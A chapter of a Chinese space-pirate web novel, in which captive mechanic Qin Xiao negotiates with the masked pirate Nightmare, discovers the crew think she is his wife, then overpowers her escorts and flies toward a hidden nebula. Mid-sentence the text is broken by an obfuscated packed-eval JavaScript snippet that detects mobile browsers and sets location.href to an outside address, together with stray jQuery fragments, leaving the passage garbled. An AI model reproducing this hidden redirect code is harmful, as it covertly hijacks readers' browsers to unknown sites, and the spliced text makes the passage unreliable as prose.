梦魇收起短刀，抬了抬手，显然是一个愿意谈判的信号。


    秦萧说道：“我可以暂时承担机械师的工作，但是我不想长期留在追猎者号上。在我的运输舰回程之前，我希望您放我回去。”


    梦魇冷笑了一声：“以你展现出来的才能，你认为我会轻易放你走？”


    “您也看到了，我是运输舰上的船员，大部分时间都在太空里，等到下一趟航程开始，我们可以继续合作。”


    梦魇没有说话，他戴着面具，秦萧看不清他的表情。


    她只好硬着头皮继续说道：“我向您保证，在追猎者号找到合适的机械师前，我会一直尽心尽力为您工作。”


    梦魇忽然抬起眼，语气里多了一丝玩味：“我大可以把你囚禁在追猎者号上，又何必答应你的条件？”


    秦萧迎上他的目光：“机械师要是生了异心，想要动点什么手脚，那可是防不胜防的。”


    “你在威胁我？”


    “不敢，只是梦魇大人知人善用，想必比我更清楚，一个心怀怨恨的囚徒，和一个自愿的合作伙伴，哪个对您更有利？”


    梦魇的视线在她脸上停留片刻，似乎开始认真思考她的提议。


    秦萧连忙补充道：“何况以您在太空中的势力，随时可以找到我。我想要的，只是最低限度的自由而已。”


    “追猎者号上一任机械师，马修，你猜他是怎么死的？”梦魇突然换了个话题。


    秦萧略一思索，按照外界的传言，梦魇不仅杀了文森特，还屠了整艘船的人，但是梦魇既然这么问了，那么马修应该不是他杀的。


    她试探着说道：“是文森特杀的？”


    “我喜欢和聪明人对话。”梦魇的语气里多了一丝赞许，“文森特杀了马修，不仅是为了防止马修为我所用，更是因为——死亡有时候是一种仁慈。”


    秦萧有些讶异地挑了挑眉。


    只听梦魇继续说道：“机械师掌握着海盗船最核心的机密，马修一旦落入追猎者号的敌对势力手里，他的下场只会比死更惨，那些人会用尽一切手段，撬开他的嘴，挖出他们想要的信息，哪怕他根本不知道。”


    海盗船上的机械师还真是个高危职业，秦萧在心中暗想。


    她知道梦魇这是在告诫自己，机械师和海盗船一荣俱荣，一损俱损。


    先前梦魇当着她的面，砍了铁舵手的手臂，把他扔进刑讯室，很可能也是想以儆效尤，提醒她背叛的下场。


    她立刻正色道：“我明白了，我会用行动证明，我是一个忠诚可靠的盟友，也相信以梦魇大人的实力，可以保证我的安全。”


    谈话结束后，秦萧被带进了一间空置的套房，梦魇给了她一沓图纸，让她按照之前提出的建议，升级船上的防御系统。


    套房内的设施极为豪华，然而门外却有人全天候看守，实际上是将她软禁了。


    接下来的几天，梦魇再也没有出现过，和她对接的是一个叫栗子的年轻海盗。


    栗子约莫十三四岁的年纪，看上去很是稚气，有着一头柔软的栗色卷毛，据说曾经是马修的学徒。


    秦萧猜想，他之所以能在那场动乱中存活下来，是因为他的年纪太小了，一直在马修手底下干一些打杂的活儿，对追猎者号的核心构造了解甚少，在文森特眼中构不成威胁。


    不过他在机械方面很有天赋，虽然经验不足，但是脑子转得很快。往往不需要秦萧过多解释，栗子就能迅速理解她的设计思路。


    这天秦萧趴在沙发上，百无聊赖地画图纸，一阵敲门声传来，是送饭的海盗。


    海盗推着餐车走进来，动作麻利地将一道道菜肴摆上餐桌，不一会儿，桌上就摆满了琳琅满目的餐点，餐具更是精美绝伦，几乎到了晃眼的地步。


    外界的传言果真不假，追猎者号从方方面面都像一座宫殿，奢侈得令人咋舌。不仅菜品顿顿不重样，口味也丝毫不输首都星最顶级的餐厅。


    海盗推着餐车正要出去，秦萧随口问道：“栗子怎么还没来？”


    栗子通常每天下午来到房间，和她沟通确认细节，按照她画出来的图纸落地执行。


    这会儿已经是晚饭时间了，秦萧不由多问了一句。


    “我……我也不清楚。”海盗战战兢兢地说道，“我这就去找他过来。”


    秦萧从图纸中抬起头，只见那海盗神色紧张地低垂着头，就连秦萧问他问题的时候，也全程盯着自己的脚尖，视线一寸也不敢上移。


    这几天来，每个来送饭的海盗都是这样，上完菜就匆匆离去，不敢多看她一眼，就好像她脸上有什么令他们恐惧的东西一样。


    秦萧感到很是奇怪，难道她看上去很可怕吗？


    毕竟她脸上又没戴恶鬼面具。


    她看着那海盗害怕的模样，也不打算为难他了：“不用特意找了，你要是见到他，顺便说一声就行。”


    那海盗惶恐地回道：“是，夫人。”


    秦萧以为自己听错了，愣了一下：“你喊我什么？”


    那海盗本就对她十分畏惧，被这么一问，更是吓得脸色煞白，结结巴巴地说不出话来。


    这时栗子走了进来，略带疑惑地看了那海盗一眼，仿佛在询问他怎么还不离开。那名海盗像是看到救星一般，推着餐车逃也似的出了门。


    栗子关上门说道：“血月号残骸的拆解终于告一段落了，我列了一份清单，老师您看看，有什么能用上的？”


    栗子作为秦萧的助手，一直喊她老师，这完全没问题，可是刚才那海盗喊她夫人，就让她觉得很莫名其妙了。


    她有些迟疑地问栗子：“船上其他人都怎么称呼我？”


    “夫人啊。”栗子理所当然地说道。


    “啊！？”秦萧瞪大了眼睛，“谁的夫人？”


    这回换成栗子瞪大了眼睛：“还能有谁？你和梦魇大人……你们……不是……”


    栗子毕竟才十三四岁，提起这个话题，舌头像打了结一样，话也说不利索了。


    秦萧说道：“你别急，慢慢讲，这事到底是怎么回事？”


    栗子想了想说：“梦魇大人从来不动商船的人，也从未把任何女人带到船上，可是这一次，他却把你从商船上带了回来。大家都以为……”


    “以为什么？”


    栗子斟酌了一下措辞，挑了一个最不冒犯的说法：“以为他对您一见钟情。”


    秦萧差点没咬到舌头，看来脑补和八卦真是无处不在，连海盗船也不能幸免。


    栗子继续说道：“而且那天铁舵手对您不敬，梦魇大人把他的右臂砍了，扔进了甲板最下层……”


    讲到这里，他似乎想起了什么可怕的情景，心有余悸地截住话头：“后面的事，您还是别听了。总之梦魇大人现在还吊着他一口气，这件事整艘船上的人都知道。”


    秦萧恍然大悟，终于明白为什么送饭的海盗一个个都对她避之不及，连看都不敢多看她一眼，原来是生怕引起梦魇的不满，落得和铁舵手一个下场。


    她不禁扶额，心想这真是误会大了。


    铁舵手遭到这样严厉的惩罚，纯粹是因为他背叛了梦魇，擅自放走了血月号的船长，和她一点关系都没有。


    她略有些无奈地说道：“你们总不会当着梦魇的面也这么喊吧？”


    栗子挠了挠头：“主要是没有人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229827|164707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道您叫什么名字，只好这样尊称您。梦魇大人也没有否认。”


    秦萧心中一动，问道：“你和我讨论图纸的事，其他人知道吗？”


    栗子摇头：“梦魇大人让我保密，只说是陪你聊天解闷。”


    秦萧心情不免有些复杂，她知道梦魇没有否认，而是放任这样的流言传播，是为了替她隐藏机械师的身份。


    这样一来，她的处境就会安全许多。在外界眼里，她只是被梦魇临时起意带回船上，没有人知道背后的真实原因，除了铁舵手。


    而铁舵手已经彻底闭嘴了。


    不过秦萧也很清楚，梦魇这样做，不是因为他有多么好心，而是基于更深层的权衡考量。


    毕竟她已经接手了防御系统的升级工作，一旦她落入梦魇的敌对势力手中，追猎者号所有的防御弱点也就随之暴露了。


    捷运方舟9号返回首都星的前一天，秦萧和栗子交接了工作，跟着两名海盗走上飞艇。


    飞艇朝着第一星系的方向驶去，他们要把她送回捷运方舟9号上。


    这是一艘中型飞艇，两名海盗坐在驾驶舱里，后方的舱室独立隔开，有着柔软的地毯，宽大的沙发，以及摆放着精致餐点的吧台和冰柜。


    秦萧打开门，走进驾驶舱，状若随意地问道：“还有多久到第一星系？”


    “快了，最多一小时。”


    那两名海盗明显对她有些畏惧，但这种畏惧来源于梦魇，他们对秦萧本身并没有太多防备。


    秦萧走近一步，似乎只是想看一眼导航星图，驾驶位的海盗见状，连忙起身让开。


    “谢谢。”秦萧对他笑了笑。


    话音未落，她的眼神陡然锐利，一个箭步上前，闪电般出手，一记手刀精准地劈向他的后颈。


    那人甚至来不及反应，便闷哼一声，软绵绵地倒了下去。


    另一个海盗大惊，慌忙伸手去拔腰间的枪，但秦萧的动作比他更快，一个旋身，抬腿横扫，直接踢飞了海盗手中的武器，紧接着一记重拳砸向他的太阳穴，干脆利落地将他击晕。


    不过短短几秒，两名海盗已经毫无声息地倒在了地上。


    秦萧走向控制台，在导航仪上飞快地输入了一串坐标——


    那正是位于第一星系与第三星系之间，极光信使曾经停靠的神秘坐标！


    飞艇的航向立刻改变，朝着那个神秘坐标飞驰而去。


    秦萧将那两名海盗拖入后舱，锁上舱门，神色冷静地靠在驾驶位上。


    她心里很清楚，只要她还有利用价值，做出一点小小的出格举动，梦魇并不会和她过多计较。


    同样的，一旦她失去了利用价值，梦魇一定会毫不留情地除掉她，就像文森特除掉马修一样，将她和她所掌握的秘密彻底抹去。


    她必须在有限的时间里，尽可能地利用这份脆弱而短暂的平衡。


    飞艇在星空中疾驰，距离那个神秘坐标越来越近，开始缓缓减速。


    秦萧的心跳微微加速，她站起身，走到舷窗前，望向神秘坐标所在的方向——


    映入眼帘的是一大片层层叠叠的星云，漂浮在漆黑深邃的太空中，如同流动的轻纱，折射出极光般绚烂的色彩。


    秦萧立刻明白了为什么它在星图上没有任何显示，星云中的气体和尘埃对电磁波有强烈的散射和吸收作用，形成了一层天然的屏障，无法从外界观测内部的情况。


    真正的秘密，就藏在这片星云之中！


    她心中激动不已，立即操控飞艇，就要驶入那片瑰丽而神秘的星云。


    下一秒，飞艇突然不受她控制，猛地转了个弯，朝着与星云相反的方向飞去！